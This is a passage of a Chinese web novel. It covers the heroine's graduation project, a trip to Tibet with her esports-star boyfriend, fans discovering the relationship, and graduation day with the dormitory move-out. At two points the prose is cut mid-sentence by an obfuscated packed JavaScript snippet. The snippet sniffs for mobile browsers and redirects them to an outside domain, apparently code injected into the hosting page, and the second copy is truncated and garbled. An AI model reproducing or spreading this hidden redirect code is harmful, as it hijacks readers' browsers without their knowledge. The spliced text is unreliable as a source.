全部都是他在听她们毕业答辩时,以诡异角度偷拍的照片。 而且他发得相当自豪,还配言:「圆满结束!」 秦见夏看完差点两眼一黑晕倒了。 连续熬夜这么多天,本就熬得面部浮肿,答辩当天都赶ddl赶到了凌晨,根本起不来化妆,甚至连头发都没时间洗。 范川居然给她最丑的时候偷拍下来了? 她晚上洗完澡,从澡堂走回宿舍楼的时候,顺路给谈继秋打电话吐槽。 他在电话那头笑个半死,说:“我看你vlog里还挺容光焕发的啊。” “你懂回光返照吗。” 秦见夏将澡篮子换了个手拎:“那是把美颜拉到最大了。” “好啊——”她突然嘘了一声,“你小子天天给我的vlog都翻烂了吧!” 正欲问他想她了没。 “对啊,”谈继秋叹息一声,幽幽道,“我想你了。” “要不……明天我去学校找你过520吧,”他语气有点兴奋,“这是我们的第一个520。” 秦见夏也叹了口气,遗憾地说:“你来了也见不到我。” “答辩完还有的忙呢,”她盘算着,“明天要布展,晚上他们说要两个班一起聚餐,后天又要打印毕业论文,好像要装订什么的。” “不过,忙完这两天我应该就能回家了!”她安慰他也安慰自己,“光等毕业典礼就行。” “好吧,”谈继秋有些失落,还不忘嘱咐,“你还是先忙你的,照顾好自己。” 虽然他们没办法一起过520,但谈继秋在520当天还是给她发了个52013.14的转账,美其名曰仪式感。 秦见夏则是给他买了个礼物,四位数的毒蝰v3pro,声称给他换个新鼠标,把谈继秋感动坏了,说等秦见夏忙完后带她去旅游。 毕设做得人差点断气,最后布完毕业展的那一刻,秦见夏却莫名有些感动。 赶工出来的毕设并不完美,然而她却觉得,这是她四年间最自豪的作品。 其实完成真的比完美更重要。 秦见夏激动地拍了很多张展位的照片,还留下了一沓牛皮纸卡片和印章,让参观者可以自行拓印后带走留念。 她并不知道自己的明信片会被谁带走,也不知道会不会有人收藏这种别人作品的周边衍生品。 这种感觉很奇妙,像是她的作品短暂地参与进了别人的人生中,类似于一种“传递”的行为。 这是件莫名能使她感受到幸福的事情。 秦见夏穿着厚实的黑色学士服,站在人堆里,听从摄影师发号施令。 头上的学士帽一个劲地往下滑,阳光也刺得她基本睁不开眼睛——好像每次拍毕业照都不太完美。 拍完毕业照后,她才意识到,即将与许多熟悉的面孔分别。 有的只在艺术楼偶遇过,有的在宿舍楼接水时打过招呼,还有的在公共课上进行过短暂交流。 人头攒动,这天和开学那天一样热闹。 于有些人而言,这便是人生中的最后一面了。 不料和毕设还不是最后一面。 秦见夏感觉自己确实有够倒霉的。 毕业照拍完后,她的毕业进程居然还没结束! 电子版毕业论文已经发给范川提交了系统,本来是打印完纸质版论文后直接放到教室里就行了,结果站在打印店装订时,秦见夏才发现自己写完论文后——忘记同步目录了! 也就是说,她的正式稿上,目录还是个模板! 而且范川这个导师也没发现。 秦见夏的小电驴早在大四上学期结束后就卖了二手,现在只能玩命蹬着共享单车,又急忙赶回宿舍用电脑更改目录。 改完检查了一遍后,她紧张地联系范川,又发了他一遍电子稿。 好在系统还没截止,范川没说什么,迅速帮她提交了。 秦见夏只好再度蹬着车子跑去打印。 宿命般地又在打印完交到艺术楼的时候,随手翻了一下。 发现纸质版目录有的字符被pdf压缩成了问号。 事到如今,秦见夏已经怒极反笑。 认命地再度蹬车子,继续折回瑰园打印店。 最后的最后,秦见夏从头到尾地仔细检查了一遍,连标点符号都看了一遍,确认无误才带去艺术楼彻底交付。 她差点累虚脱了。 这终于算是最后一个ddl结束。 翌日,秦见夏在宿舍一觉睡到中午,下午才收拾了一个行李箱的东西买票回家。 苏织和陈文欣仍然在宿舍宅着,林喜已经去和她的老乡们毕业旅行了。 现在只需要坐等六月十五号的毕业典礼,结束后领取到毕业证,就能彻底解脱。 毕设期间仿佛人生中最忙碌的一个阶段,像用HB铅笔在硫酸纸上一笔划过去,微弱的阻力可以忽略不计。 每天什么事都不想,唯一的目标只有顺利毕业,两眼一睁直接干到半夜。 和齐头并进的高考不同,他们每个人都有每个人的里程碑,具体走到哪里算顶峰,完全由自己说了算。 自由却惶恐。 不过幸好,最终全部不完美地完成了。 当跑到竞赛终点的那一刻,也不必再纠结跑步过程中身体摆动的幅度是否优美。 从现在起到毕业典礼,将近一个月,是独属于大学毕业生的狂欢。 秦见夏和谈继秋去了她心心念念的西藏,作为秦见夏的毕业旅行。 秦见夏终于不必再等忙碌的父母,也不必再找旅游搭子,也不需要再期待最好的朋友降临己身。 谈继秋就是她最好的朋友。 是她从小到大苦苦寻觅的、拿她当第一顺位的、最最好的朋友。 秦见夏可以在他身边毫无保留地做自己,不必再为是否需要主动付出而斤斤计较。 她毫无保留,他全盘接受。 正如父母总念叨的那样,一个萝卜一个坑。 谈继秋像是英雄联盟里的妮蔻。 她想吃火锅时,他是吃饭搭子;她想逛街时,他是拎包搭子;她想旅游时,他就是旅游搭子。 西藏一直是秦见夏的理想国。 这颗种子早在十一岁时,就被母亲亲手埋下。 赵霞三十五岁那年恰逢失业,便把还在上小学的秦见夏扔给秦国海,自己和三五好友自驾川藏线,偶尔打电话给秦见夏画大饼,说等她小学毕业了就带她去。 结果小学毕了业,她又风风火火地迎接了人生最后一波事业小巅峰,说等她初中毕业。 初中毕业后,她又开始筹备起自己的服装店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100376|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说等她高中毕业。 高中毕业后,恰逢疫情。 最令人气愤的是在秦见夏高三集训那年,赵霞难得不用带孩子,又和闺蜜们说走就走,去青藏边界玩得不亦乐乎,并且再度发誓—— 等她上了大学一定带她去。 于是大学又封校…… 二十岁没有亲密无间的朋友,相当于断绝了80%的高风险旅游。 她又缺乏那20%单独出发的勇气。 现在不必再等她妈,她终于得到了少年时期待已久的空头支票。 谈继秋也可以陪她说走就走。 有赵霞的经验在先,两人提前吃了红景天,然而谈继秋下了飞机还是有点轻微高反。 在酒店认识的小伙伴问他是不是健身,说经常健身会有一定影响。 秦见夏跟没事人似的,沾沾自喜地冲他挑眉:“看我就说吧,我们脆皮大学生有脆皮的优势。” 索性时间和资金都充裕,两人便在拉萨住了一周休养生息。 这里对于秦见夏来说,简直是天堂。 建筑、壁画、唐卡、手作、奶茶、火锅、博物馆、历史文化等等,应有尽有。 她不仅对唐卡情有独钟,还独自去八廓街买了许多小饰品,又拉着谈继秋拍了藏族写真,最后去天上邮局,给朋友们每人都寄了带有藏语祝福的明信片。 在拉萨的这一周,只有拍照那天带着谈继秋了,其余时间都是秦见夏独自出行,他在酒店虚弱躺尸。 然后她像旅行青蛙一样给他拍照片。 她还在途中认识了许多旅客和当地的小伙伴。 秦见夏总算恍然大悟—— 自己一个人明明也可以嘛! 等谈继秋逐渐适应之后,他们报了个小团,前往南迦巴瓦峰看日照金山。 南迦巴瓦在藏语里有多种解释,可以理解为“雷电如火燃烧”,也可以理解为“直刺天空的长矛”。 这都是人类因它外形而赋予的定义,仿佛书本里凝练的文字。 然而,当秦见夏真正走到南迦巴瓦的面前时。 她突然觉得,一切都无所谓了。 究竟是追求永恒还是追求当下,究竟是理想主义还是现实主义,究竟要不要探寻人生的意义。 这次究竟能不能看到日照金山。 统统都无所谓了。 雪山在不同时期有不同的称呼,但它只是它。 它不在乎渺小的人类又给它起了什么名字,也不在乎有没有日照金山。 对于雪山而言,日照金山只是今日恰好天气晴。 南迦巴瓦还有无数个晴天。 所以不要为没有看到日照金山而感到悲伤,人生也有无数个晴天。 冰川会消融,文明会灭亡。 任何事物都处于走向湮灭的过程。 但也有永恒的存在。 例如信徒们祷告时此起彼伏的嗡鸣声,例如朝拜者磕长头时木板敲击地面发出的脆响。 例如此刻—— 金色光辉刺破云层,义无反顾地倾泻在千里绵延的神山。 “据说十人九不遇。谈继秋,我们会幸运一整年诶!” “你对日照金山怎么没什么反应?难道你不喜欢吗!” 面前光芒万丈,谈继秋却只是侧目,看向秦见夏瞳孔里折射出的辉煌。 他轻声说:“喜欢。” 朝圣者的脚印不会压过上一步手掌划过的痕迹。 红尘纷扰,此刻即永恒。 夏天又快到了。 (正文完) 80. 管不管 西藏之行系列vlog一经发出,秦见夏的自媒体生涯更是风生水起。 其中一条视频还在抖音破了百万赞,短短几天时间,粉丝量突破三十万。 她的粉丝们一直以为她是单身状态,直到日照金山那条视频发出,细心的网友发现了端倪—— 「主播在1:20是不是牵了个谁的手」 「666网友火眼金睛这一块」 「没想到还是被网友发现了,没错博主的对象就是“兰亭下小雨”,你要问兰亭下小雨是谁没错正是鄙人」 「楼上玩手机被充电器电晕了吧快去医院看看」 「这大手肯定不是女生的,快说吧夏笺到底哪个臭小子这么有福气」 「夏笺要是背着我们谈了头注我一定会取关的」 「666我当女友报备向视频看呢,在我这堪比塌房」 「楼上是男的吧我要大四你,梦男滚」 「和对象一起去的为什么在拉萨那几期都是一个人逛?」 「那还说啥啊老铁,分」 「我们夏秋cpbe了怎么办」 「谁说be了,两人ip一直一样,指不定男方真是jichoo呢」 「得知博主有对象我心里竟产生了嫉妒的滋味」 「……」 秦见夏不是故意放出这段画面的。 那里是她们在车上牵着手,只占据视频最左下角一帧的时间,这段素材拍的主要是车窗外的风景。 剪视频的时候没发现这帧没删干净,不料却被网友发现了。 意外暴露男友,最气愤的居然是谈继秋。 他不爽地刷着她视频底下的评论,给他们一个个点了“踩”。 “怎么都在劝分?”谈继秋蹙着眉,问她,“你管不管?” 秦见夏:“?” 秦见夏:“这我怎么管,嘴长在别人身上。” 谈继秋忽地坐起身,突然想起什么似的,对她伸出手:“手机给我。” “干嘛?”秦见夏顿时作防御状。 他一脸受伤,不可置信地问:“秦见夏,咱俩都谈了一年了!我手机能随便给你看,你的不能给我看?” “你是不是在外面有别的狗了。” “别恃宠而骄,”秦见夏护着手机,“你总得提前说一声要看什么吧。” 谈继秋皮笑肉不笑道:“我要看你抖音私信。” “那这个行,”她解锁手机,点进私信递给他,“请大人过目。” 秦见夏自己都不怎么看私信。 每天发私信的人太多,有的还是那种心理阴暗特意发私信报复社会的绝望中登。 结果,谈继秋翻了两下,冷笑出声。 他一字一句念道:“姐姐,本人185男大,无不良嗜好,积极乐观正能量,985在读晋海两套房,有兴趣交个朋友嘛~” “哈哈,”秦见夏以笑容掩饰尴尬,“我说真没看过私信你信吗。” “那这个是——?” 谈继秋打开她的喜欢列表,指着一水的腹肌照和女主播跳舞视频问。 秦见夏连忙一把将手机夺走,字正腔圆道:“我感觉你这人特较真儿。” “这不就是跳舞视频吗,难道你就不看?” 谈继秋闻言,将手机扔来:“你自己翻。” 秦见夏将信将疑地解锁,点进他的喜欢列表,发现全是自己视频的点赞,还有就是收藏的探店打卡视频。 她又打开他的关注列表,全是电竞圈的其他选手…… 好吧。 那真没话说了。 “男德满分,男德满分。” 秦见夏尬笑两声,再三保证:“我以后再也不看其他男的了。” “女的也不行,”谈继秋依旧冷笑,“别以为我不知道,你前天去那个什么活动亲了那个女coser。” “亲脸也不行?”秦见夏抗议,“那cos的可是镜的炽阳神光你懂吗。” “那我——”谈继秋思考片刻,倏地撩起衣服,绷紧腰腹,“现实中我不是能给你摸吗,你可以看我的。” 说完他低头一瞧,嘴硬道:“最近有点懈怠了,你等我恢复健身。” 旅游那两周一直在床上躺尸,回到家的这段时间,秦见夏父母同意她在他这里住,两人又不是特别爱出门的人,光在家里宅着打游戏了。 一人一个台式,谈继秋直播她就在一旁沉默地打游戏,谈继秋不直播两人就激烈地打游戏。 他总算发现,女朋友的游戏瘾比他还大。 玩吃鸡都是跳p城,一落地上去就是干。 究竟是谁说女生不打游戏的…… 自那天被网友劝分后,谈继秋仿佛打了鸡血,风雨无阻地跑去健身,哪怕缩短直播时间也要跑去举铁。 不得不说,两人最近一直窝在一起,家里冷不丁少了个人,秦见夏还觉得不太适应。 谈继秋便提议:“那你跟我一起健身。” “不不不,”她连忙拒绝,“你也知道我体测补考过两次,让我健身真的会死人的。” 谈继秋只好独自健身,发誓要练成永恩的身材。 从前都是为了不失眠练着玩玩,一直维持薄肌,没有正儿八经地塑形。 这回特意找了健身教练。 不过,自从秦见夏搬来他家后,谈继秋的失眠好得差不多了。 尤其是偶尔微荤一下,睡眠质量直接提升了一个水准。 秦见夏每次事后都评价他是忍者。 其实谈继秋不好意思说,他是真的舍不得碰她。 总感觉亵渎了爱情。 悠闲的日子很快便蹿到秦见夏的毕业典礼当天。 秦国海特意请了假,一家四口提前一天开车来到A大。 毕业典礼定在九点开始,辅导员让他们七点半就到北体签到,秦见夏只好五点半就起来化妆。 临进校门时,谈继秋问秦见夏他要不要戴口罩。 秦见夏一脸莫名:“为什么?又有病毒了?” “不是,”谈继秋解释,“咱们不是地下恋情吗。” 赵霞闻言开起玩笑:“你俩玩得原来是《潜伏》。” 秦见夏手里拿着学士帽,眼珠子转了两圈,故作随意道:“不用戴,我们同学都爱学习不玩游戏,放心没人认识你——” 才怪。 秦见夏担心迟到,先一步骑车去体育馆集合,交代他们三个可以路上慢慢走,反正九点才正式开始。 谈继秋这个没上过大学的,真信了她的鬼话。 秦见夏路上蹬着车都快笑抽了。 不用猜也知道是什么盛况—— 谈继秋放心地陪秦见夏父母走在学校主路上,迎面来一个学生无论男女,都要惊愕地抬头看他一眼。 这还是早上七点多。 哪怕那群背着书包为了争抢图书馆二楼座位此刻正排长队的书呆子们,也纷纷举起了手机。 谈继秋一脸莫名地问秦见夏父母:“我脸上有东西吗?” 父母也是一头雾水:“没有,很帅啊。” 刚走过图书馆,后面匆匆跑来一个戴着眼镜的男生,举着3000题拿着黑笔,激动地截住谈继秋:“秋神我是您粉丝,能帮我签个名吗?” 谈继秋这才意识到,事情有些不太对劲。 他瞧着那男生习题册的扉页,戏谑地问:“我签了名你不怕考不上研?” 男生震惊于Jichoo居然知道这是考研的书。 “管他呢,您先给我签了呗。” 谈继秋签完名后,那男生顺口问了句:“秋神你怎么来A大了?我们学校好像这两天也没什么活动啊。” 他扫了眼他身旁的中年夫妇,恍然大悟:“今天刚好是24届毕业典礼,难道您还有个妹妹是我们学校的?” 谈继秋也不能说他是来参加他女朋友毕业典礼的,只好拉着她父母迅速离开:“差不多吧,我先走了。” 一路上越走,要签名的越多。 此乃秦见夏意料之中的结果。 那大学里没人打游戏还有谁打游戏啊。 在场馆外等候间隙,她打开小红书,不出意外地刷到了大数据的精准推送。 「卧槽!jichoo来A大了你们敢信吗!都别睡了孩子们快去围观!」 此时刚过七点半,底下已经有大概十条评论。 秦见夏想点开评论区,然而北体这边常年没信号,连图片都加载不出来。她只好收起手机,继续和同学聊着天。 艺院的同学是全校最早到的,在外面等了半个小时,门口那群穿衬衫的人才放他们进去坐着。 秦见夏看向四周空荡的蓝色座椅,对同学吐槽:“这导员又整我们。” 毕业典礼和她想象中的不太一样。 甚至有点草台班子。 谈继秋由于长得太年轻,不像学生家长,被保安拦在门外,说是学生她哥也不让进,非要给辅导员打电话核实。 他知道秦见夏讨厌她那个辅导员,便只好到一旁的体育场坐着,等他们结束。 秦见夏手机完全没信号也就罢了,她本以为她们也会像网上刷到的那样,上台被院长拨穗。 结果到了拨穗阶段,老师让大家全体起立,甚至不是范川这个系主任来拨穗,也不是任何一个专业课老师。 ——居然是坐办公室里爱刁难人的那群行政老师给她们拨的。 秦见夏&其他同学:“……” 幸好不是辅导员。 不然秦见夏肯定连隔夜饭都要吐出来。 想想也是,一整个场馆的毕业生,如果都上台让领导拨穗,那拨一上午也拨不完。 只有穿着蓝色学士服的研究生,跟下饺子似的上台被各院长拨穗。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114258|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这个毕业典礼真是索然无味,秦见夏和身旁的同学都聊得没什么话题了。 唯一的收获只有印着她们学校logo的矿泉水。 还是限量一人一瓶…… 直至全部贺词祝词结束。 场馆里灯光突然暗了下来,紧接着,身旁其他系的同学发出一阵阵喝彩声,跟一串鞭炮突然爆炸了似的,瞬间引燃全场。 耳畔传来一道熟悉的前奏,秦见夏心神一震,结束了删照片的行为,从手机里抬起头来,瞧见下面有个眼熟的男同学,正握着话筒走向中央。 秦见夏知道他,这个同学是她大一上公共课时认识的,他好像比那时候更胖了点。 虽然不记得他名字,但她有他Q|Q,她还记得,他是音乐表演专业的。 之前无论军训还是公共课时,从未听他唱过歌。 此时,聚光灯打在他身上—— “那片笑声让我想起我的那些花儿” “在我生命每个角落静静为我开着” 秦见夏激动地录起视频,对身旁的同学说:“是朴树的《那些花儿》!” 也是她们初三那年毕业典礼全班一起演过的节目。 她默默在心里补充。 秦见夏感到匪夷所思。 这并不是时下流行的毕业曲目,但它此刻,就出现在这里了。 她的大学同学,正在唱着她和初中同学们一起合唱过的歌。 脑中“轰”地一声,仿佛有什么东西骤然坍塌。 耳旁徒留命运的回响。 大学生真是世界上最浪漫的群体。 场馆昏暗,秦见夏瞧到对面有同学打开了手机的手电筒,开始自发挥舞起来。 某种程度上,也算是一种“星星之火可以燎原”。 包括秦见夏在内的其他同学见状,也纷纷打开闪光,跟随节奏晃着手臂。 全场同学音色各异,开始大合唱—— “有些故事还没讲完那就算了吧” “那些心情在岁月中已经难辨真假” “如今这里荒草丛生没有了鲜花” “好在曾经拥有你们的春秋和冬夏” “她们都老了吧她们在哪里呀” “我们就这样各自奔天涯” 你见过星星吗。 这比任何星夜都璀璨。 他们在如此肃穆庄重的场合,在枯燥乏味的讲话结尾,将这场毕业典礼,当成了“毕业晚会”。 所有人都后知后觉地意识到,这就是母校的含义。 痛斥过、抱怨过,此时此刻,却只剩下不舍。 这真的是她学生生涯的最后一天了。 秦见夏抑制不住地热泪盈眶。 索性四处漆黑,她若无其事地举起学士服宽大的袖子擦眼泪,粗糙的化纤布料,磨得她眼角火辣辣地疼。 “我们就这样,各自奔天涯。” 最后一句唱完。 灯光四起,满堂明亮得刺眼。 “最后——A大学祝24届全体毕业生,前途璀璨,一路生花!” 大学的结尾,大家踏着《一路生花》有序离席。 四年,漫长得弹指一挥间。 纵有诸多怨怼,也都随毕业烟消云散了。 走出北体,秦见夏的手机总算有了信号。 她在家庭群里发消息让大家集合,又给提前联系好的学妹也发了微信,让她去艺术楼等她。 在操场等待一个多小时的谈继秋手机也没信号,仅能收到微信消息,他见面就问:“怎么一路上都有人找我签名。” 秦见夏摘下学士帽丢给他拿着,狡黠一笑:“你猜。” 也是吃了没文化的亏。 四人朝着艺术楼的方向走,秦见夏知道走大路肯定会被围住,于是领他们走了条不为人知的小路。 “早知道就戴口罩来了。”谈继秋给秦见夏打着伞,不忘吐槽。 即便选择小路,也不是一点人都没有,身边时不时传来—— “卧槽,那不是Jichoo?” “眼花了吧,谈继秋能来咱学校?” “你不信你自己看——” “卧槽!” 还好溜得快。 秦见夏带着他们,从树影掩映的孔子像那边穿了过去。 来到艺术楼时,刚好没什么人。 门口只站着个女生。 “丫头,你带我们来这里干么事啊,”秦国海问她,“不去宿舍收拾东西吗?” 秦见夏和学妹打完招呼,指向她脖间挂着的相机:“拍毕业照!” 四人站在艺术楼下,四根不知道伫立多少年的石柱牌匾旁,将这一瞬间定格—— “来,看这边!” “3、2、1——” “咔嚓” 父母康健,爱人在侧。 此刻阳光正好。 81. 最后的 与此同时,网上炸锅了。 A大各个表白墙全是谈继秋的照片—— 「墙墙,捞捞这个男生,不知道他有对象吗,我的Q|Q是xxxxxx」 「墙墙,帮问下学校今天有什么活动吗,Jichoo怎么来了,秋神现在在哪我需要找他签名」 「墙!我看到谈继秋了!我们A大也是好起来了」 「女生们别捞了,这不是咱同学,这是电竞圈上古真神(谁知道jc怎么来学校了)」 「刚刚看到Jichoo和一个穿学士服的女生牵手走在一起,旁边应该是他对象吧,嫂子居然是咱A大的?!」 「有照片吗让我看看啊,全是拉屎的没有递纸的」 「乱中感叹,哥们是真帅啊,吊打A大吴彦祖,而且本人居然个子也挺高」 不仅如此,“A大Jichoo”的词条直接冲上同城热搜第一。 一片沸腾之际,秦见夏悠哉地全平台同步了和谈继秋的单独合照。 「夏笺:毕业快乐,一周年快乐@Jichoo」 这下全网都炸锅了。 谈继秋此刻正坐在秦见夏的教室里喝着冰水,他一直没看手机,对此毫不知情。 赵霞和秦国海也热得直喝水。 秦见夏阴恻恻地咯咯笑了几声,谈继秋还没来得及问她笑什么,只见她突然起身,木凳子发出“呲啦”一声—— “卧槽!” “我得赶快回宿舍收拾东西!刚刚辅导员突然通知,下午五点前就要全部离校,退宿之后才能拿毕业证!” 所有同学本来都以为还可以在学校待两天,不曾想毕业典礼刚结束,母校就要立刻让大家收拾东西滚蛋。 “这死学校——”秦见夏不知道四年来第几百次吐槽。 于是四人顿时忙成陀螺。 谈继秋被秦见夏塞了个打印店给的大塑料袋子,支去楼下装走她的毕设展品。 秦国海被秦见夏支去酒店开车过来,一会要放她的行李。 赵霞作为唯一能进女生宿舍的,被秦见夏拉着骑车回宿舍,收拾她那一堆七零八碎的东西。 她还不忘交代老爸拿个口罩过来给谈继秋,如果他不戴口罩,一会搬行李肯定会引起轩然大波。 此时,所有毕业生和毕业生父母加之宿舍楼下的快递小哥都忙得团团转。 几家快递公司在枚园楼下支起帐篷互相竞价,四处是此起彼伏的缠胶带声和装车声。 赵霞瞥见旁边堆成山的快递包裹,连连惊叹:“这真是简直了。” “别录视频发朋友圈了妈——”秦见夏焦急地在宿管那里登记完,抓起老妈的手,迅速跑进宿舍大厅,“咱们真的要来不及了,马上十一点,我们院还要提前一个小时来拿毕业证,可我东西一点都没收拾呢!” 赵霞只好跟在闺女身后,拐来拐去地来到她宿舍门口。 一进门,赵霞当即蹙眉:“闺女,你这跟垃圾堆似的。” 秦见夏:“……” 三个室友礼貌地和她们打了招呼,随后便各忙各的。 几人有一搭没一搭地吐槽着院里的安排——没见过拿着退宿证明才能去领毕业证的操作,还一点都没提前通知,搞得外地毕业生得当天买票。 “常规操作罢了,”林喜幽怨地收拾着,“咱们院哪次不是这样。” 赵霞本就是陈列师,秦见夏没良心地大咧咧坐在椅子上:“妈你先收拾着,我去食堂给咱俩买饭,刚给我爸他们说了,让他们先在校外吃。” 买饭路上,秦见夏不忘找辅导员报备了车牌号,这样就能直接开车到宿舍楼下,省得费力气搬到校门口了。 秦见夏四年来的东西说多也多,说少也就那几个柜子,行李箱和收纳箱不够用,她只好从楼下快递小哥那里肉疼地买了几个大纸箱,花了将近五十块钱。 赵霞收拾完一箱出来,她就吭哧吭哧地往一楼搬,堆在宿舍大门口,方便谈继秋他们一会过来拿。 现在宿舍大厅内外跟吃鸡里一样,满地都是箱子,索性没人胡乱拿。 那她之前紫燕百味鸡的外卖是被谁偷走的啊。 秦见夏腹诽着。 两人收拾起来很快,将近两点左右她们就收拾完了,给快五十的赵霞也累得够呛。 秦见夏更是累得差点虚脱,满身大汗淋漓——陈文欣在宿舍,大家仍然默认不开空调。 给老妈热得受不了,先跑去车里吹空调了。 秦见夏则要等到两点宿管上班才能办理退宿。 其他几个室友也都收拾完毕,林喜和苏织刚刚发完快递回来。 陈文欣是最早收拾完的,以她这性格,早在前两天就将行李基本寄走了,今天只慢悠悠地整理了一个行李箱的东西。 兴许是最后一天的缘故,苏织的脾气按捺不住,趁陈文欣最先办完退宿去取毕业证,她踩着陈文欣的出厂板凳,对两个室友说:“老娘终于要摆脱她了,这两天她更是拉着个死脸,看得老子鬼火冒。” “毕业这大喜日子她丧什么丧,”苏织“啪”一声打开空调,“他妈的,老子要给这空调吹个爽!” 秦见夏和林喜也纷纷吐槽起来—— “就是,刚刚给我热得不行,我问要不要打开空调,那个欣欣说,最后一天了不想再给空调充钱,让我忍忍,真快把我热中暑了……” “就是啊我靠,”秦见夏喝着冰奶茶,整张脸热得通红,刚刚谈继秋往车上搬行李时和她打了照面,还以为她中暑了,非要带她去校医院,“你们是不知道,咱仨不是刚才累得跟狗似的往下抗行李吗,然后你俩累得在二楼那里坐了会,我搬到一楼的时候遇到陈文欣了。” “你们猜人家说什么——”她绘声绘色地模仿着她的语调,“呀,你们行李这么多呀,还好我早就寄完了~” “给我快气死了……” 林喜和秦见夏搬完东西后,见苏织那火柴人似的身板实在弄得费劲,便帮她搭了把手,三人最后一起合力帮她抬到宿舍楼下的。 甚至连刚搬完女友行李的谈继秋,都来帮她室友将包裹抬到了快递秤上—— 作为这个宿舍里和苏织关系最好的陈文欣,却一点也不通人性,只是冷眼看着所有人忙前忙后,自己悠闲地坐在那里玩手机。 苏织吐槽完这事后,突然想起什么来,揶揄地看向秦见夏:“夏夏你这眼光不错啊,通过今天你对象帮我们搬行李这事,我觉得这人行!什么时候谈的,藏得可真严实~” 林喜也说:“就是,不看你抖音我都不知道!祝99啊!” “啊?”秦见夏感觉有点羞耻,“你们知道我在做自媒体啊?” “你现在挺火的呀,我们咋可能不知道……不对,你没火的时候我就在小红书刷到你了。” “不光我们知道,估计那个陈文欣也知道,”苏织信誓旦旦地推测,“你没发现这学期你在的时候,她更沉默了吗。” “这我还真没发现。” 秦见夏整天为毕设和视频殚精竭虑,根本无暇顾及室友。 “哎呀,总之,咱们三个窝囊废终于解脱了——”苏织语气畅快至极。 林喜也说:“是呀,四年过得好快哦,你们以后要是来岛青旅游,一定要联系我,我给你们当导游!” 另外两人也纷纷表示,让她们来自己家乡旅游时要联系对方。 秦见夏也没想到,和室友们沉默寡言地相处了三年,在最后一学期,却能和彼此敞开心扉。 她不由得想着,如果当初她们三个其中有个人能勇敢一些,主动向陈文欣提出意见,是不是大学的宿舍生活都不至于这么痛苦了。 可惜勇敢的人极其罕见。 秦见夏也不例外。 算算时间,陈文欣差不多也要回来了。 苏织和林喜早已将行李箱放在宿舍一楼,不久前也都让宿管检查完床位,办理过退宿证明了。 两人计划一会去艺术楼领完毕业证,回来直接在大厅拿行李,然后从西门打车去地铁站。 秦见夏的行李早就装好车了,作为最不赶时间的那个,为了让室友们能在宿舍放会行李箱顺便休息片刻,她说她最后一个退宿。 父母和男朋友都在车里等她,一会他们直接从东门走,路过艺术楼刚好把毕业证拿了。 和苏织、林喜道别时,秦见夏心里竟然有些难过。 她面上不显,笑容仍然灿烂:“再见啦,回头记得来南城找我玩~” 另外两位室友也不是那种肉麻话挂嘴边的人。 苏织最潇洒,冲她摆了摆手:“拜拜,先走一步。” 林喜作为情绪和她一样丰富的性格,声音也染上伤感:“我们走啦,夏夏,和你对象99哦,等你们来岛青找我!” 秦见夏将她们送出宿舍,朝她们的背影说:“再见——” 室友们不断回头摆手的身影消失在拐角处,秦见夏走回空荡荡的宿舍,顿觉周围静得可怕。 上一秒,这个宿舍还堆得满满当当,此刻便仿佛入学刚来时一样了。 秦见夏第一次觉得,两边床位之间的过道居然这么宽敞。 苏织和林喜的转椅是同款不同色,此时还保留着她们离开时的角度。 曾经嫌占地方被她们收起来的学校配备的木凳子,都被她们整齐地摆在自己座位旁边。 秦见夏的脑海中浮现起初见室友们时的模样。 原来时间过得这么快啊。 她最后一次坐在自己的木板床上,坐进自己的“棺材”床帘里,内心感慨万千。 她那副断了根钢管的破烂床帘一直维持到现在,居然还没坍塌。 这副漆黑的薄布“安全屋”,埋葬过她的眼泪和她的委屈。 它始终沉默地、支离破碎地立在那里,承载她无数个日夜。 而如今,它的使命也达成了。 它将被她遗弃在这里,或许会被宿管阿姨暴力拆解得四分五裂,或许会被卖给楼下收废品的老爷爷。 秦见夏窝在自己的床帘里,内心一片寂静。 她感慨着,这回青春是真的要结束了。 如同往常无数次那样,刚平静了没一会,陈文欣的推门声纷至沓来。 秦见夏认命起身,见她来拿行李箱了,便去找宿管办理退宿。 由于是328最后一个办退宿的,宿管阿姨跟她过来里里外外仔细检查了一遍。 秦见夏也回到自己的座位,最后检查一遍柜子有没有清空,陈文欣则坐在旁边玩手机,依旧时不时地偷瞄她。 “哎呀小同学——”宿管阿姨的声音从厕所里传出来,“你们厕所这个窗户怎么坏了呀,关不上呀!如果是你们弄坏的要赔钱哦——” “不是我们弄——”陈文欣时刻注意着风吹草动,闻言第一时间大声辩解,语气也不好。 秦见夏一听就头大,当即起身“嘘”她一声,跑向厕所,和颜悦色地向阿姨解释:“阿姨,这个窗户我们开学来的时候就关不上,之前也报修过,有报修记录,那个叔叔也没修好,只能这样了……” “哦原来是这样啊,”阿姨在她的板子上写着,“那行,别的地方都没事,这个就这样吧,不用你们赔。” 将阿姨送出门时,她亲切地朝秦见夏笑了笑:“小美女,毕业快乐呀——” “谢谢阿姨,阿姨再见~” 秦见夏转回身,松了口气地走回座位,忆起自己刚刚态度也不好,便找补了句:“刚刚你那么说的话,阿姨肯定让我们赔……” “这下彻底没事了,你怎么不走呀?”她好心关切一回,也是想缓和下气氛。 最后一天了,别搞得太难看。 不料,陈文欣闷闷的声音飘了过来—— “秦见夏,你是不是一直都瞧不起我。” 秦见夏握住纸杯的手指僵了僵。 换作往常,她肯定会打哈哈地说:“没有啊怎么会呢。” 事到如今,她“啪”地一声放下奶茶,坦诚道:“你也太把自己当回事了。” 